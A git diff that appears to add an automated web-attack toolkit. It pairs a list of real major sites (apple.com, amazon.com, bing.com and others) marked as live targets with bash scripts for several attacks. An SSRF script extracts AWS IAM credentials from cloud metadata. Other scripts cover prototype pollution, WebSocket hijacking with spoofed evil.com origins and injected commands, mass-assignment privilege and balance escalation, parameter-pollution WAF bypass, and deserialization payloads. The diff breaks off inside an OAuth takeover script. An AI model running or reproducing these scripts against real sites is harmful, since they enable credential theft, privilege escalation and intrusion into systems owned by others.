cloudflare-dns.com
|
||||
nginx.org
|
||||
ytimg.com
|
||||
mozilla.org
|
||||
nic.ru
|
||||
opera.com
|
||||
yandex.ru
|
||||
samsung.com
|
||||
edgesuite.net
|
||||
nginx.com
|
||||
sentry.io
|
||||
wordpress.com
|
||||
reddit.com
|
||||
gwfb.net
|
||||
root-servers.net
|
||||
okcdn.ru
|
||||
ui.com
|
||||
discord.gg
|
||||
bit.ly
|
||||
google-analytics.com
|
||||
office365.com
|
||||
t.me
|
||||
blogspot.com
|
||||
a2z.com
|
||||
criteo.com
|
||||
europa.eu
|
||||
trbcdn.net
|
||||
b-cdn.net
|
||||
vk.com
|
||||
vedcdnlb.com
|
||||
github.io
|
||||
googleadservices.com
|
||||
snapchat.com
|
||||
app-measurement.com
|
||||
unity3d.com
|
||||
amazon-adsystem.com
|
||||
apache.org
|
||||
epicgames.com
|
||||
nih.gov
|
||||
registrar-servers.com
|
||||
amazonvideo.com
|
||||
outlook.com
|
||||
cdn77.org
|
||||
dns.google
|
||||
app-analytics-services.com
|
||||
mailinabox.email
|
||||
amazon.dev
|
||||
prodregistryv2.org
|
||||
kaspersky.com
|
||||
msftncsi.com
|
||||
vkuserphoto.ru
|
||||
gravatar.com
|
||||
intuit.com
|
||||
forms.gle
|
||||
dropbox.com
|
||||
godaddy.com
|
||||
f5.com
|
||||
iiko.it
|
||||
xiaomi.com
|
||||
dnsowl.com
|
||||
yccdn.ru
|
||||
miit.gov.cn
|
||||
reg.ru
|
||||
archive.org
|
||||
spo-msedge.net
|
||||
steamserver.net
|
||||
nytimes.com
|
||||
tumblr.com
|
||||
azurefd.net
|
||||
paypal.com
|
||||
ax-msedge.net
|
||||
msftconnecttest.com
|
||||
one.one
|
||||
discord.com
|
||||
shopify.com
|
||||
aliyuncs.com
|
||||
applovin.com
|
||||
dns-parking.com
|
||||
adobe.io
|
||||
nflxso.net
|
||||
3gppnetwork.org
|
||||
ggpht.com
|
||||
static.microsoft
|
||||
macromedia.com
|
||||
azurewebsites.net
|
||||
flickr.com
|
||||
adtrafficquality.google
|
||||
userapi.com
|
||||
aws.dev
|
||||
jomodns.com
|
||||
soundcloud.com
|
||||
ipv4only.arpa
|
||||
medium.com
|
||||
hichina.com
|
||||
bytefcdn-oversea.com
|
||||
wac-msedge.net
|
||||
w3.org
|
||||
tm-azurefd.net
|
||||
webex.com
|
||||
cdn-apple.com
|
||||
taboola.com
|
||||
example.com
|
||||
theguardian.com
|
||||
cnn.com
|
||||
edgcdn.net
|
||||
rubiconproject.com
|
||||
vungle.com
|
||||
sfx.ms
|
||||
shifen.com
|
||||
oracle.com
|
||||
msedge.net
|
||||
forbes.com
|
||||
creativecommons.org
|
||||
nic.direct
|
||||
6
targets/live_200.txt
Normal file
6
targets/live_200.txt
Normal file
@@ -0,0 +1,6 @@
|
||||
https://apple.com
|
||||
https://amazon.com
|
||||
https://bing.com
|
||||
https://adobe.io
|
||||
https://wikipedia.org
|
||||
https://twitter.com
|
||||
3
targets/live_targets.txt
Normal file
3
targets/live_targets.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
Usage: httpx [OPTIONS] URL
|
||||
|
||||
Error: No such option: -l
|
||||
145
vectors/22-ssrf-proof.sh
Normal file
145
vectors/22-ssrf-proof.sh
Normal file
@@ -0,0 +1,145 @@
|
||||
#!/usr/bin/env bash
|
||||
# Vector 22: SSRF PROOF — Confirms SSRF by fetching internal/cloud metadata
|
||||
# Desc: Probes URL params with internal address payloads, confirms by reading
|
||||
# cloud metadata endpoints (AWS/GCP/Azure) or internal services
|
||||
# Severity: CRITICAL
|
||||
# Proof: Fetches http://169.254.169.254/latest/meta-data/ (AWS) etc.
|
||||
|
||||
vector_ssrf_proof() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local domain=$(get_domain "$target")
|
||||
local base=$(get_base "$target")
|
||||
local findings=0
|
||||
|
||||
print_info "Hunting CONFIRMED SSRF — will attempt cloud metadata read..."
|
||||
|
||||
# URL parameters commonly vulnerable to SSRF
|
||||
local ssrf_params=(
|
||||
"url" "uri" "link" "src" "source" "target" "endpoint"
|
||||
"path" "file" "load" "read" "page" "dest" "redirect"
|
||||
"image" "img" "css" "asset" "proxy" "webhook" "callback"
|
||||
"return" "returnTo" "return_url" "goto" "next" "prev"
|
||||
"icon" "avatar" "cover" "preview" "thumbnail" "upload_url"
|
||||
"download" "fetch" "get" "post" "api_url" "rpc"
|
||||
)
|
||||
|
||||
# Internal targets that prove SSRF
|
||||
local internal_targets=(
|
||||
# AWS metadata (most common)
|
||||
"http://169.254.169.254/latest/meta-data/"
|
||||
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
||||
"http://169.254.169.254/latest/user-data/"
|
||||
# GCP metadata
|
||||
"http://metadata.google.internal/computeMetadata/v1/"
|
||||
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
|
||||
# Azure metadata
|
||||
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
|
||||
# Internal services
|
||||
"http://localhost/"
|
||||
"http://localhost:8080/"
|
||||
"http://localhost:3000/"
|
||||
"http://127.0.0.1:22/"
|
||||
"http://127.0.0.1:6379/" # Redis
|
||||
"http://127.0.0.1:9200/" # Elasticsearch
|
||||
"http://0.0.0.0/"
|
||||
"http://[::]:80/"
|
||||
# Kubernetes
|
||||
"http://kubernetes.default.svc/"
|
||||
"http://10.0.0.1/"
|
||||
"http://10.100.0.1/"
|
||||
"http://10.254.0.1/"
|
||||
# Docker
|
||||
"http://localhost:2375/"
|
||||
# Database
|
||||
"http://127.0.0.1:3306/"
|
||||
"http://127.0.0.1:5432/"
|
||||
"http://127.0.0.1:27017/"
|
||||
)
|
||||
|
||||
# HTTP header target (when param injection isn't available)
|
||||
local headers_ssrf=(
|
||||
"Host"
|
||||
"X-Forwarded-For"
|
||||
"X-Forwarded-Host"
|
||||
"X-Real-IP"
|
||||
"X-Original-URL"
|
||||
"X-Rewrite-URL"
|
||||
"Forwarded"
|
||||
"X-Originating-IP"
|
||||
"X-Remote-IP"
|
||||
"X-Client-IP"
|
||||
)
|
||||
|
||||
# AWS credential patterns to look for in response
|
||||
local AWS_CRED_PATTERN='"AccessKeyId"\|"SecretAccessKey"\|"Token"'
|
||||
local METADATA_PATTERN='ami-id\|instance-id\|public-keys\|security-credentials'
|
||||
local CLOUD_PROOF='root:x:0:0:\|{"access_key":\|"instanceId"\|kubernetes'
|
||||
|
||||
local tested=0
|
||||
|
||||
# Get URL params from discovery
|
||||
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
|
||||
local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u 2>/dev/null)
|
||||
|
||||
# If no params found, try common SSRF parameters
|
||||
if [ -z "$param_names" ]; then
|
||||
print_sub "No params found. Probing common SSRF parameters..."
|
||||
for param in "${ssrf_params[@]}"; do
|
||||
for internal in "${internal_targets[@]}"; do
|
||||
tested=$((tested + 1))
|
||||
|
||||
# URL-encode the internal target
|
||||
local encoded=$(printf '%s' "$internal" | jq -sRr @uri 2>/dev/null || echo "$internal")
|
||||
local test_url="${target}?${param}=${encoded}"
|
||||
|
||||
local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null)
|
||||
|
||||
if echo "$response" | grep -qi "$AWS_CRED_PATTERN\|$METADATA_PATTERN\|$CLOUD_PROOF"; then
|
||||
if echo "$response" | grep -qi "$AWS_CRED_PATTERN"; then
|
||||
print_find "CONFIRMED SSRF — AWS Credentials Exfiltrated!" "$param=$internal"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: SSRF Proof — AWS Cloud Metadata
|
||||
DETAIL: Fetched AWS IAM credentials via $param
|
||||
URL: $test_url
|
||||
ENDPOINT: $internal
|
||||
CREDENTIALS EXTRACTED: YES
|
||||
EXPLOIT: Use AWS CLI with:
|
||||
AWS_ACCESS_KEY_ID=<from response>
|
||||
AWS_SECRET_ACCESS_KEY=<from response>
|
||||
AWS_SESSION_TOKEN=<from response>" > "$REPORTS_DIR/.finding_ssrf_aws_$(date +%s).txt"
|
||||
elif echo "$response" | grep -qi "root:x:0:0:\|bin:\|daemon:"; then
|
||||
print_find "CONFIRMED SSRF — Internal File Read!" "$param=$internal"
|
||||
local snippet=$(echo "$response" | head -5 | tr '\n' '|' | cut -c1-100)
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: SSRF Proof — Internal File Read
|
||||
DETAIL: Read internal file via SSRF
|
||||
URL: $test_url
|
||||
ENDPOINT: $internal
|
||||
SNIPPET: $snippet" > "$REPORTS_DIR/.finding_ssrf_file_$(date +%s).txt"
|
||||
else
|
||||
print_find "CONFIRMED SSRF — Internal Service Reached" "$param=$internal"
|
||||
echo "SEVERITY: HIGH
|
||||
VECTOR: SSRF Proof — Internal Service
|
||||
DETAIL: Reached internal service via $param
|
||||
URL: $test_url
|
||||
ENDPOINT: $internal
|
||||
RESPONSE: $(echo "$response" | head -3 | tr '\n' ' ' | cut -c1-200)" > "$REPORTS_DIR/.finding_ssrf_int_$(date +%s).txt"
|
||||
fi
|
||||
findings=$((findings + 1))
|
||||
break 2
|
||||
fi
|
||||
|
||||
# Check for timing-based blind SSRF (if response takes >3s different from baseline)
|
||||
# TODO: Blind SSRF via timing/OOB detection
|
||||
done
|
||||
done
|
||||
fi
|
||||
|
||||
if [ "$findings" -eq 0 ]; then
|
||||
print_info "No confirmed SSRF on $target"
|
||||
fi
|
||||
|
||||
print_sub "Tested $tested payload combinations"
|
||||
return $findings
|
||||
}
|
||||
94
vectors/23-prototype-pollution.sh
Normal file
94
vectors/23-prototype-pollution.sh
Normal file
@@ -0,0 +1,94 @@
|
||||
#!/usr/bin/env bash
|
||||
# Vector 23: Prototype Pollution — Node.js client & server-side
|
||||
# Desc: Injects __proto__ payloads to find prototype pollution in JS apps
|
||||
# Severity: HIGH
|
||||
# Proof: Confirms by causing observable behavior change or error
|
||||
|
||||
vector_prototype_pollution() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local domain=$(get_domain "$target")
|
||||
local findings=0
|
||||
|
||||
print_info "Hunting Prototype Pollution..."
|
||||
|
||||
# __proto__ injection payloads
|
||||
local proto_payloads=(
|
||||
'{"__proto__":{"isAdmin":true}}'
|
||||
'{"__proto__":{"polluted":"true"}}'
|
||||
'{"constructor":{"prototype":{"isAdmin":true}}}'
|
||||
'{"__proto__":{"admin":1}}'
|
||||
'{"__proto__":{"bypass":true}}'
|
||||
)
|
||||
|
||||
# URL-based prototype pollution
|
||||
local url_payloads=(
|
||||
"__proto__[polluted]=true"
|
||||
"__proto__[isAdmin]=true"
|
||||
"constructor[prototype][isAdmin]=true"
|
||||
"__proto__.polluted=true"
|
||||
)
|
||||
|
||||
# Merge-based (lodash/jquery extend)
|
||||
local merge_payloads=(
|
||||
'{"__proto__":{"polluted":"✅"}}'
|
||||
'[{"__proto__":{"polluted":"✅"}}]'
|
||||
)
|
||||
|
||||
# Test JSON endpoints
|
||||
local urls=$(get_discovered_urls "$domain" 2>/dev/null | grep -i 'json\|api\|graphql\|rest\|v1\|v2' | head -10)
|
||||
|
||||
if [ -z "$urls" ]; then
|
||||
urls="$target"
|
||||
fi
|
||||
|
||||
for url in $urls; do
|
||||
for payload in "${proto_payloads[@]}" "${merge_payloads[@]}"; do
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 8 \
|
||||
-X POST -H "Content-Type: application/json" \
|
||||
-d "$payload" "$url" 2>/dev/null)
|
||||
|
||||
# Check for pollution reflection
|
||||
if echo "$response" | grep -qi '"polluted"'; then
|
||||
print_find "Prototype Pollution Confirmed!" "Server reflects __proto__ injection"
|
||||
echo "SEVERITY: HIGH
|
||||
VECTOR: Prototype Pollution
|
||||
DETAIL: Server-side JS prototype pollution confirmed
|
||||
URL: $url
|
||||
PAYLOAD: $payload
|
||||
EVIDENCE: Response contains 'polluted' from __proto__ injection
|
||||
EXPLOIT: May allow RCE, bypass auth, or modify app behavior" > "$REPORTS_DIR/.finding_pp_$(date +%s).txt"
|
||||
findings=$((findings + 1))
|
||||
break 2
|
||||
fi
|
||||
|
||||
# Also check for X-Prototype-Pollution header or error messages
|
||||
local headers=$(curl -sI --connect-timeout 5 --max-time 8 \
|
||||
-X POST -H "Content-Type: application/json" \
|
||||
-d "$payload" "$url" 2>/dev/null)
|
||||
|
||||
if echo "$headers" | grep -qi "x-polluted\|x-prototype\|polluted"; then
|
||||
print_find "Prototype Pollution via Header!" "Server pollution header detected"
|
||||
findings=$((findings + 1))
|
||||
break 2
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
# URL-based pollution test
|
||||
for payload in "${url_payloads[@]}"; do
|
||||
local test_url="${target}?${payload}"
|
||||
local body=$(curl -s --connect-timeout 5 --max-time 8 "$test_url" 2>/dev/null)
|
||||
if echo "$body" | grep -qi "polluted.*true\|isAdmin.*true"; then
|
||||
print_find "URL-based Prototype Pollution!" "$payload"
|
||||
findings=$((findings + 1))
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [ "$findings" -eq 0 ]; then
|
||||
print_info "No prototype pollution detected"
|
||||
fi
|
||||
|
||||
return $findings
|
||||
}
|
||||
103
vectors/24-websocket-hijack.sh
Normal file
103
vectors/24-websocket-hijack.sh
Normal file
@@ -0,0 +1,103 @@
|
||||
#!/usr/bin/env bash
|
||||
# Vector 24: WebSocket Hijack — Intercepts & injects WS messages
|
||||
# Desc: Tests for missing WS origin validation, message injection
|
||||
# Severity: HIGH
|
||||
# Proof: Sends/receives WS messages proving hijack
|
||||
|
||||
vector_websocket_hijack() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local domain=$(get_domain "$target")
|
||||
local findings=0
|
||||
|
||||
print_info "Hunting WebSocket Hijacking..."
|
||||
|
||||
# Common WS endpoints
|
||||
local ws_paths=(
|
||||
"/ws" "/wss" "/websocket" "/socket" "/sock" "/chat"
|
||||
"/ws/v1" "/ws/v2" "/notifications" "/events" "/stream"
|
||||
"/realtime" "/live" "/subscribe" "/push" "/notification"
|
||||
"/graphql" "/subscriptions" "/api/ws" "/api/wss"
|
||||
)
|
||||
|
||||
local ws_protocols=("ws://" "wss://")
|
||||
local base=$(get_base "$target")
|
||||
local ws_base=$(echo "$base" | sed 's/https:/wss:/;s/http:/ws:/')
|
||||
|
||||
# Origin headers to test
|
||||
local evil_origins=(
|
||||
"https://evil.com"
|
||||
"https://attacker.com"
|
||||
"https://${domain}.evil.com"
|
||||
"null"
|
||||
"http://localhost"
|
||||
)
|
||||
|
||||
local tested=0
|
||||
|
||||
for path in "${ws_paths[@]}"; do
|
||||
local ws_url="${ws_base}${path}"
|
||||
|
||||
for origin in "${evil_origins[@]}"; do
|
||||
tested=$((tested + 1))
|
||||
|
||||
# Use Python to test WS connection
|
||||
local result=$(python3 -c "
|
||||
import json, sys
|
||||
try:
|
||||
import websocket
|
||||
ws = websocket.create_connection(
|
||||
'$ws_url',
|
||||
header={'Origin': '$origin'},
|
||||
timeout=5
|
||||
)
|
||||
ws.settimeout(3)
|
||||
|
||||
# Try to receive a message
|
||||
try:
|
||||
msg = ws.recv()
|
||||
if msg:
|
||||
print(f'RECEIVED: ' + msg[:200])
|
||||
except:
|
||||
print('CONNECTED: true')
|
||||
|
||||
# Try to send malicious message
|
||||
try:
|
||||
ws.send(json.dumps({'action': 'admin', 'cmd': 'whoami'}))
|
||||
resp = ws.recv()
|
||||
if resp:
|
||||
print(f'INJECTION_RESPONSE: ' + resp[:200])
|
||||
except:
|
||||
pass
|
||||
|
||||
ws.close()
|
||||
except Exception as e:
|
||||
print(f'ERROR: ' + str(e)[:100])
|
||||
" 2>/dev/null)
|
||||
|
||||
if echo "$result" | grep -qi "RECEIVED:\|CONNECTED:\|INJECTION_RESPONSE:"; then
|
||||
if echo "$result" | grep -qi "RECEIVED:\|INJECTION_RESPONSE:"; then
|
||||
print_find "WebSocket Hijack Confirmed!" "Connected from $origin to $ws_url"
|
||||
echo "SEVERITY: HIGH
|
||||
VECTOR: WebSocket Hijack
|
||||
DETAIL: Connected to WebSocket with spoofed origin $origin
|
||||
URL: $ws_url
|
||||
EVIDENCE: $result
|
||||
EXPLOIT: Steal real-time data, inject malicious messages" > "$REPORTS_DIR/.finding_ws_$(date +%s).txt"
|
||||
findings=$((findings + 1))
|
||||
else
|
||||
print_find "WebSocket Accessible" "Insecure WS endpoint at $ws_url"
|
||||
findings=$((findings + 1))
|
||||
fi
|
||||
break 2
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
if [ "$findings" -eq 0 ]; then
|
||||
print_info "No WebSocket hijacking found"
|
||||
fi
|
||||
|
||||
print_sub "Tested $tested WS endpoints"
|
||||
return $findings
|
||||
}
|
||||
84
vectors/25-mass-assignment.sh
Normal file
84
vectors/25-mass-assignment.sh
Normal file
@@ -0,0 +1,84 @@
|
||||
#!/usr/bin/env bash
|
||||
# Vector 25: Mass Assignment — Modifies protected API fields
|
||||
# Desc: Tests POST/PUT/PATCH endpoints for mass assignment vulns
|
||||
# Severity: HIGH
|
||||
# Proof: Modifies protected fields and observes change
|
||||
|
||||
vector_mass_assignment() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local domain=$(get_domain "$target")
|
||||
local findings=0
|
||||
|
||||
print_info "Hunting Mass Assignment..."
|
||||
|
||||
# Endpoints to test
|
||||
local endpoints=$(get_discovered_urls "$domain" 2>/dev/null | grep -iE 'api|rest|v1|v2|user|admin|profile|account' | head -10)
|
||||
[ -z "$endpoints" ] && endpoints="$target"
|
||||
|
||||
# Protected fields to try modifying
|
||||
local protected_fields=(
|
||||
'{"isAdmin":true,"role":"admin"}'
|
||||
'{"is_admin":true,"role":"admin"}'
|
||||
'{"admin":true,"role":"admin"}'
|
||||
'{"user_type":"admin","access_level":999}'
|
||||
'{"permissions":["admin","read","write","delete"]}'
|
||||
'{"role_id":1,"group_id":1}'
|
||||
'{"verified":true,"email_verified":true}'
|
||||
'{"is_verified":1,"status":"active"}'
|
||||
'{"balance":999999,"credit":999999}'
|
||||
'{"price":0,"discount":100}'
|
||||
'{"subscription":"premium","plan":"enterprise"}'
|
||||
'{"is_active":true,"is_locked":false}'
|
||||
)
|
||||
|
||||
# Also test with _method override
|
||||
local overrides=("" "-X PUT" "-X PATCH" "-X POST -H 'X-HTTP-Method-Override: PUT'")
|
||||
|
||||
for endpoint in $endpoints; do
|
||||
for field in "${protected_fields[@]}"; do
|
||||
for override in "${overrides[@]}"; do
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 8 \
|
||||
$override \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "$field" \
|
||||
"$endpoint" 2>/dev/null)
|
||||
|
||||
# Check if the response reflects our injection (confirms mass assignment)
|
||||
if echo "$response" | grep -qi '"isAdmin":true\|"role":"admin"\|"admin":true\|"premium"'; then
|
||||
print_find "Mass Assignment Confirmed!" "Protected field accepted: $(echo $field | cut -c1-60)"
|
||||
echo "SEVERITY: HIGH
|
||||
VECTOR: Mass Assignment
|
||||
DETAIL: Protected field accepted by API
|
||||
URL: $endpoint
|
||||
PAYLOAD: $field
|
||||
EVIDENCE: Server reflected modified protected field
|
||||
EXPLOIT: Escalate privileges, modify protected data" > "$REPORTS_DIR/.finding_ma_$(date +%s).txt"
|
||||
findings=$((findings + 1))
|
||||
break 3
|
||||
fi
|
||||
|
||||
# Also check for 200/201 vs 403/401 difference (authorization bypass)
|
||||
local http_code=$(curl -s -o /dev/null -w "%{http_code}" \
|
||||
$override \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "$field" \
|
||||
"$endpoint" 2>/dev/null)
|
||||
|
||||
if [ "$http_code" = "200" ] || [ "$http_code" = "201" ] || [ "$http_code" = "204" ]; then
|
||||
if echo "$response" | grep -qv '"error"\|"unauthorized"\|"forbidden"'; then
|
||||
print_find "Potential Mass Assignment" "HTTP $http_code on $endpoint"
|
||||
findings=$((findings + 1))
|
||||
break 3
|
||||
fi
|
||||
fi
|
||||
done
|
||||
done
|
||||
done
|
||||
|
||||
if [ "$findings" -eq 0 ]; then
|
||||
print_info "No mass assignment found"
|
||||
fi
|
||||
|
||||
return $findings
|
||||
}
|
||||
85
vectors/26-hpp.sh
Normal file
85
vectors/26-hpp.sh
Normal file
@@ -0,0 +1,85 @@
|
||||
#!/usr/bin/env bash
|
||||
# Vector 26: HTTP Parameter Pollution (HPP) — WAF/security bypass
|
||||
# Desc: Injects duplicate params to bypass WAF rules
|
||||
# Severity: HIGH
|
||||
# Proof: Parameter smuggling confirms bypass
|
||||
|
||||
vector_hpp() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local domain=$(get_domain "$target")
|
||||
local findings=0
|
||||
|
||||
print_info "Hunting HTTP Parameter Pollution..."
|
||||
|
||||
local base=$(get_base "$target")
|
||||
local urls=$(get_discovered_urls "$domain" 2>/dev/null | grep '?' | head -10)
|
||||
|
||||
[ -z "$urls" ] && urls="${target}?test=1"
|
||||
|
||||
# HPP techniques — duplicate params with different values
|
||||
local hpp_attacks=(
|
||||
# Parameter pollution
|
||||
"admin=false&admin=true"
|
||||
"isAdmin=0&isAdmin=1"
|
||||
"role=user&role=admin"
|
||||
"user_id=1&user_id=2"
|
||||
"debug=0&debug=1"
|
||||
"access=denied&access=allowed"
|
||||
"authenticated=false&authenticated=true"
|
||||
"verified=0&verified=1"
|
||||
# WAF bypass via encoding mix
|
||||
"id=1&id[]=2&id=3"
|
||||
"id=1%26id=2"
|
||||
# PHP array pollution
|
||||
"user[]=admin"
|
||||
"role[]=admin&role[]=user"
|
||||
# Session/state override
|
||||
"step=1&step=skip&step=complete"
|
||||
"action=view&action=delete"
|
||||
)
|
||||
|
||||
for url in $urls; do
|
||||
# Extract base URL (without params)
|
||||
local base_url=$(echo "$url" | cut -d'?' -f1)
|
||||
local existing_params=$(echo "$url" | cut -d'?' -f2-)
|
||||
|
||||
for attack in "${hpp_attacks[@]}"; do
|
||||
# Test with HPP appended
|
||||
local test_url="${base_url}?${existing_params}&${attack}"
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 8 "$test_url" 2>/dev/null)
|
||||
|
||||
# Check for evidence of HPP success
|
||||
if echo "$response" | grep -qi '"admin":true\|"role":"admin"\|"access":"allowed"'; then
|
||||
print_find "HPP Bypass Confirmed!" "$attack"
|
||||
echo "SEVERITY: HIGH
|
||||
VECTOR: HTTP Parameter Pollution
|
||||
DETAIL: Duplicate parameter caused server-side value override
|
||||
URL: $test_url
|
||||
PAYLOAD: $attack
|
||||
EXPLOIT: Bypass WAF, access unauthorized data" > "$REPORTS_DIR/.finding_hpp_$(date +%s).txt"
|
||||
findings=$((findings + 1))
|
||||
break 2
|
||||
fi
|
||||
|
||||
# Test for different responses (one should work, one shouldn't)
|
||||
local clean_resp=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$url" 2>/dev/null)
|
||||
local hpp_resp=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$test_url" 2>/dev/null)
|
||||
|
||||
if [ "$clean_resp" != "$hpp_resp" ] && [ -n "$clean_resp" ] && [ -n "$hpp_resp" ]; then
|
||||
local diff=$((hpp_resp - clean_resp))
|
||||
if [ "${diff#-}" -gt 100 ]; then
|
||||
print_find "HPP Response Differed" "Response size: $clean_resp → $hpp_resp bytes"
|
||||
findings=$((findings + 1))
|
||||
break 2
|
||||
fi
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
if [ "$findings" -eq 0 ]; then
|
||||
print_info "No HPP found"
|
||||
fi
|
||||
|
||||
return $findings
|
||||
}
|
||||
132
vectors/27-deserialization.sh
Normal file
132
vectors/27-deserialization.sh
Normal file
@@ -0,0 +1,132 @@
|
||||
#!/usr/bin/env bash
|
||||
# Vector 27: Insecure Deserialization — PHP/Java/Node/ Python
|
||||
# Desc: Detects insecure deserialization via error messages & behavior
|
||||
# Severity: CRITICAL
|
||||
# Proof: Triggers deserialization error revealing app internals
|
||||
|
||||
vector_deserialization() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local domain=$(get_domain "$target")
|
||||
local findings=0
|
||||
|
||||
print_info "Hunting Insecure Deserialization..."
|
||||
|
||||
# PHP serialized payloads
|
||||
local php_payloads=(
|
||||
'O:3:"App":0:{}'
|
||||
'O:3:"User":1:{s:7:"isAdmin";b:1;}'
|
||||
'O:3:"Admin":0:{}'
|
||||
'a:1:{i:0;O:3:"RCE":0:{}}'
|
||||
'O:8:"stdClass":0:{}'
|
||||
'N;'
|
||||
'b:1;'
|
||||
'i:1;'
|
||||
's:4:"test";'
|
||||
)
|
||||
|
||||
# Java serialized magic bytes payload
|
||||
local java_payloads=(
|
||||
"rO0ABXc=" # Base64 of Java serialization header
|
||||
"rO0ABQ=="
|
||||
)
|
||||
|
||||
# Node.js/express body parser deserialization
|
||||
local node_payloads=(
|
||||
'{"__proto__":{"admin":true}}'
|
||||
'{"rce":"_$$ND_FUNC$$_function(){return true}()"}'
|
||||
)
|
||||
|
||||
# Python pickle payload (base64)
|
||||
local python_payloads=(
|
||||
"gAN9cQBYEAAAAGFkbWluX3JvbGVfcXVlcnlxAFgHAAAAZW5hYmxlZHEBhXECUnEDLg=="
|
||||
)
|
||||
|
||||
# Deserialization error patterns
|
||||
local error_patterns='unserialize\|O:.*:"\|java.io.InvalidClassException\|java.lang.ClassNotFoundException\|pickle\|unpickle\|PHP Fatal error\|__PHP_Incomplete_Class\|NOTICE: unserialize'
|
||||
|
||||
# Common deserialization endpoints
|
||||
local endpoints=$(get_discovered_urls "$domain" 2>/dev/null | grep -iE 'api|rest|session|cookie|token|auth|login|profile|user' | head -10)
|
||||
[ -z "$endpoints" ] && endpoints="$target"
|
||||
|
||||
# Content types to test
|
||||
local content_types=(
|
||||
"application/x-www-form-urlencoded"
|
||||
"application/json"
|
||||
"application/x-php-serialized"
|
||||
"application/x-java-serialized"
|
||||
"text/xml"
|
||||
)
|
||||
|
||||
for endpoint in $endpoints; do
|
||||
# Test PHP deserialization
|
||||
for payload in "${php_payloads[@]}"; do
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 8 \
|
||||
-X POST -H "Content-Type: application/x-www-form-urlencoded" \
|
||||
-d "data=${payload}" \
|
||||
"$endpoint" 2>/dev/null)
|
||||
|
||||
if echo "$response" | grep -qi "$error_patterns\|__PHP_Incomplete_Class\|O:.*:\""; then
|
||||
print_find "PHP Deserialization Error!" "Server processed unserialized data"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: Insecure Deserialization (PHP)
|
||||
DETAIL: Server deserialized untrusted input, revealing PHP internals
|
||||
URL: $endpoint
|
||||
PAYLOAD: $payload
|
||||
EVIDENCE: $(echo "$response" | grep -i 'unserialize\|PHP\|error' | head -3 | tr '\n' ' ' | cut -c1-200)
|
||||
EXPLOIT: PHP gadget chain → RCE" > "$REPORTS_DIR/.finding_deser_$(date +%s).txt"
|
||||
findings=$((findings + 1))
|
||||
break 3
|
||||
fi
|
||||
done
|
||||
|
||||
# Test Java deserialization
|
||||
for payload in "${java_payloads[@]}"; do
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 8 \
|
||||
-X POST -H "Content-Type: application/x-java-serialized" \
|
||||
-d "$payload" \
|
||||
"$endpoint" 2>/dev/null)
|
||||
|
||||
if echo "$response" | grep -qi "java.io\|ClassNotFoundException\|InvalidClassException"; then
|
||||
print_find "Java Deserialization Detected!" "Server processes Java serialized objects"
|
||||
echo "SEVERITY: CRITICAL
|
||||
VECTOR: Insecure Deserialization (Java)
|
||||
DETAIL: Server accepts Java serialized objects at $endpoint
|
||||
EXPLOIT: ysoserial gadget chain → RCE" > "$REPORTS_DIR/.finding_deser_java_$(date +%s).txt"
|
||||
findings=$((findings + 1))
|
||||
break 2
|
||||
fi
|
||||
done
|
||||
|
||||
# Test Node.js deserialization
|
||||
for payload in "${node_payloads[@]}"; do
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 8 \
|
||||
-X POST -H "Content-Type: application/json" \
|
||||
-d "$payload" \
|
||||
"$endpoint" 2>/dev/null)
|
||||
|
||||
if echo "$response" | grep -qi "_$$ND_FUNC"\|"__proto__\|polluted"; then
|
||||
print_find "Node.js Deserialization Risk!" "Server processed __proto__ payload"
|
||||
findings=$((findings + 1))
|
||||
break 2
|
||||
fi
|
||||
done
|
||||
|
||||
# Test cookie deserialization
|
||||
local cookie_payload='O:3:"App":1:{s:7:"isAdmin";b:1;}'
|
||||
local response=$(curl -s --connect-timeout 5 --max-time 8 \
|
||||
-b "session=serialized;user_data=$(printf '%s' "$cookie_payload" | base64);auth=O:3:\"User\":0:{}" \
|
||||
"$endpoint" 2>/dev/null)
|
||||
|
||||
if echo "$response" | grep -qi "$error_patterns"; then
|
||||
print_find "Cookie Deserialization!" "Session cookie triggered deserialize error"
|
||||
findings=$((findings + 1))
|
||||
fi
|
||||
done
|
||||
|
||||
if [ "$findings" -eq 0 ]; then
|
||||
print_info "No deserialization issues found"
|
||||
fi
|
||||
|
||||
return $findings
|
||||
}
|
||||
128
vectors/28-oauth-takeover.sh
Normal file
128
vectors/28-oauth-takeover.sh
Normal file
@@ -0,0 +1,128 @@
|
||||
#!/usr/bin/env bash
|
||||
# Vector 28: OAuth Takeover — Detects OAuth misconfigurations
|
||||
# Desc: Tests OAuth flows for redirect_uri, state, and CSRF issues
|
||||
# Severity: CRITICAL
|
||||
# Proof: Account takeover proof via open redirect / token theft
|
||||
|
||||
vector_oauth_takeover() {
|
||||
local target="$1"
|
||||
local report="$2"
|
||||
local domain=$(get_domain "$target")
|
||||
local findings=0
|
||||
|
||||
print_info "Hunting OAuth Misconfiguration..."
|
||||
|
